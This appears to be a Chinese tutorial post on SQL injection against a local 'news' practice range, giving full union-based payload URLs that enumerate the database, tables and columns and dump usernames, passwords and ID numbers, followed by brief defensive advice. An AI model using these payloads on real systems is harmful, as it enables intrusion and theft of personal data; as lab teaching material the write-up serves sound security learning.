news 2026/5/26 15:12:06

SQL注入(新闻靶场练习)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入(新闻靶场练习)

一,目标数据库名字的获取

本地新闻靶场127.0.0.1/wz/url.php?date=2026331http://127.0.0.1/wz/url.php?date=2026331数据库里新闻表的表名一般都是news

由此得出数据库里的语句SELECT * FROM`news`WHERE datestr='2026331'

再通过时间(date)注入语句

127.0.0.1/wz/url.php?date=' union select DATABASE(),'','','

通过union来进行查询语句的连接DATABASE查询当前数据库名称,''空出的字段从而获得数据库名game

二,数据库里所有表的获取

selectTABLE_name from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'

获取'game'数据库里的所有表名(TABLES)

(selectGROUP_CONCAT(TABLE_name) from information_schema.`TABLES` t where t.TABLE_SCHEMA='game')

再通过GROUP_CONCAT来只显示一行

最后在转成连接127.0.0.1/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name) from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','

获得了game数据库里所有表的名字news,user

三,表里所有列的获取

select c.COLUMN_NAME from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'

通过'game'数据库用`COLUMNS`来获取'user'表里的所有列

(selectGROUP_CONCAT(c.COLUMN_NAME) from information_schema.`COLUMNS`c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user')

再通过GROUP_CONCAT来只显示一行

最后在转成链接形式127.0.0.1/wz/url.php?date=' union select (select GROUP_CONCAT(c.COLUMN_NAME) from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','

即可得到'game'数据库里'user'表里的所有字段id,username,password,cardid,tel,diamond

用同样的方法可的'news'新闻表里的字段title,content,datestr,id

四,表里数据的获取

SELECT username,`password`,cardid,'' FROM user

这是查询'user'里的用户名-密码-ID,用指定查询是因为目标数据库的表的字段必须一致`news`这个表只有四个字段

再加上条件WHERE'1' ='1'这里的值可以修改

SELECT username,`password`,cardid,'1' FROM`user`WHERE '1' ='1'

最后在转成链接

127.0.0.1/wz/url.php?date=' union SELECT username,`password`,cardid,'1' FROM`user`WHERE '1' ='1

即可得到数据

五,如何防范

1,输入过滤
date参数做白名单校验(如只允许日期格式)

2,参数化查询
使用预处理语句(如PDO或MySQLi),避免拼接SQL

3,禁用union

完全禁用union可能影响合法查询,需权衡安全性与功能性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/1 6:50:34

游戏存档备份终极指南:用Ludusavi守护你的游戏记忆

游戏存档备份终极指南:用Ludusavi守护你的游戏记忆 【免费下载链接】ludusavi Backup tool for PC game saves 项目地址: https://gitcode.com/gh_mirrors/lu/ludusavi 你是否曾因电脑故障、系统重装或设备更换而丢失珍贵的游戏存档?数百小时的游…

作者头像 李华
网站建设 2026/4/1 6:44:15

Chrome DevTools 录制网络请求全攻略:从HAR文件生成到性能分析实战

Chrome DevTools 网络请求深度分析实战:从HAR录制到性能优化 在当今快节奏的Web开发环境中,网络请求的性能直接影响用户体验和业务转化。作为开发者,我们经常需要分析页面加载过程中的网络请求细节,但简单的"查看"已经不…

作者头像 李华
网站建设 2026/4/1 6:43:40

Python安全开发之简易Xss检测工具(详细注释)

核心代码:import requests # requests 库 - HTTP 请求处理库 # 【常用功能】: # requests.get(url) - 发送 HTTP GET 请求 # requests.post(url, data) - 发送 HTTP POST 请求 # response.text - 获取响应体内容(字符串) #…

作者头像 李华